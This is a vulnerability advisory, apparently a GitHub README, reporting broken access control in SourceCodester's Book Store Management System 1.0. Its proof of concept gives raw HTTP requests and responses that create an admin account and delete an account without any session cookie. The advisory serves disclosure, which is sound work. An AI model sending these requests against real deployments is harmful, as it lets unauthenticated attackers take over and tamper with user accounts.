

main bug-report / vendors / oretnom23 / bsms\_ci / broken-access-control /

tunv0 update broken access control ...	16 days ago History
..	
images	16 days ago
README.md	16 days ago

README.md

## Broken Access Control

Description: Vulnerability was found in SourceCoderster Book Store Management System 1.0. This vulnerability allows a remote attacker to access all URLs without logging in and use all actions like account management page.

The product(s): <https://www.sourcecodester.com/php/15748/book-store-management-system-project-using-php-codeigniter-3-free-source-code.html>

Affected product(s)/code base: [https://www.sourcecodester.com/sites/default/files/download/oretnom23/bsms\\_ci.zip](https://www.sourcecodester.com/sites/default/files/download/oretnom23/bsms_ci.zip)

Affected component(s):

- /bsms\_ci/index.php/category/\*
- /bsms\_ci/index.php/book/\*
- /bsms\_ci/index.php/transaction/\*
- /bsms\_ci/index.php/history/\*
- /bsms\_ci/index.php/user/\*

Proof of Concept: Access all URLs without logging in and use all actions like an admin like edit, delete, add new account.

1. Send a request Add new account without cookie

Burpsuite Request:

```
POST /bsms_ci/index.php/user/add HTTP/1.1
Host: localhost
Content-Length: 64
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=h3
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/bsms_ci/index.php/user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

```
fullname=john&username=john&password=12345&level=admin&save=Save
```



Image:

Request

PrettyRawHex

1

POST /bsms\_ci/index.php/user/add HTTP/1.1

2

Host: localhost

3

Content-Length: 64

4

Cache-Control: max-age=0

5

sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"

6

sec-ch-ua-mobile: ?0

7

sec-ch-ua-platform: "Windows"

8

Upgrade-Insecure-Requests: 1

9

Origin: http://localhost

10

Content-Type: application/x-www-form-urlencoded

11

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

12

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107

13

Safari/537.36

14

Accept:

15

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,

16

image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;

17

q=0.9

18

Sec-Fetch-Site: same-origin

19

Sec-Fetch-Mode: navigate

20

Sec-Fetch-User: ?1

21

Sec-Fetch-Dest: document

22

Referer: http://localhost/bsms\_ci/index.php/user

23

Accept-Encoding: gzip, deflate

24

Accept-Language: en-US,en;q=0.9

25

Connection: close

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

fullname=John&username=John&password=12345&level=admin&save=Save

Response

PrettyRawHexRender

1

HTTP/1.1 200 OK

2

Date: Wed, 16 Nov 2022 06:43:32 GMT

3

Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.10

4

X-Powered-By: PHP/8.1.10

5

Set-Cookie: ci\_session=6c2jsei7omp2v5t6csi6r4hfvprji0c0;

6

expires=Wed, 16-Nov-2022 08:43:32 GMT; Max-Age=7200; path=/;

7

HttpOnly; SameSite=Lax

8

Expires: Thu, 19 Nov 1981 08:52:00 GMT

9

Cache-Control: no-store, no-cache, must-revalidate

10

Pragma: no-cache

11

Refresh: 0;url=http://localhost/bsms\_ci/index.php/user

12

Content-Length: 0

13

Connection: close

14

Content-Type: text/html; charset=UTF-8

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

Send request without cookie

2. Send a request Delete account without cookie

Burpsuite Request:

```
GET /bsms_ci/index.php/user/hapus/2 HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/bsms_ci/index.php/user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```



Image:

Request

PrettyRawHex

1

GET /bsms\_ci/index.php/user/hapus/2 HTTP/1.1

2

Host: localhost

3

sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"

4

sec-ch-ua-mobile: ?0

5

sec-ch-ua-platform: "Windows"

6

Upgrade-Insecure-Requests: 1

7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

8

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107

9

Safari/537.36

10

Accept:

11

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,

12

image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;

13

q=0.9

14

Sec-Fetch-Site: same-origin

15

Sec-Fetch-Mode: navigate

16

Sec-Fetch-User: ?1

17

Sec-Fetch-Dest: document

18

Referer: http://localhost/bsms\_ci/index.php/user

19

Accept-Encoding: gzip, deflate

20

Accept-Language: en-US,en;q=0.9

21

Connection: close

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

Send request without cookie

Response

PrettyRawHexRender

1

HTTP/1.1 200 OK

2

Date: Wed, 16 Nov 2022 06:53:33 GMT

3

Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.10

4

X-Powered-By: PHP/8.1.10

5

Set-Cookie: ci\_session=g8llorg8dher10bda0v23c2jebdrip4c;

6

expires=Wed, 16-Nov-2022 08:53:33 GMT; Max-Age=7200; path=/;

7

HttpOnly; SameSite=Lax

8

Expires: Thu, 19 Nov 1981 08:52:00 GMT

9

Cache-Control: no-store, no-cache, must-revalidate

10

Pragma: no-cache

11

Refresh: 0;url=http://localhost/bsms\_ci/index.php/user

12

Content-Length: 0

13

Connection: close

14

Content-Type: text/html; charset=UTF-8

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

Discoverer(s)/Credits: CMCSOC Redteam (@lithonn)

- Ngo Van Tu (@leecybersec)
- Tran Thi Nho (@nhott)
- Huynh Nhat Hao (@h40huynh)
- Le Thi Huyen My (@Huy3nMy)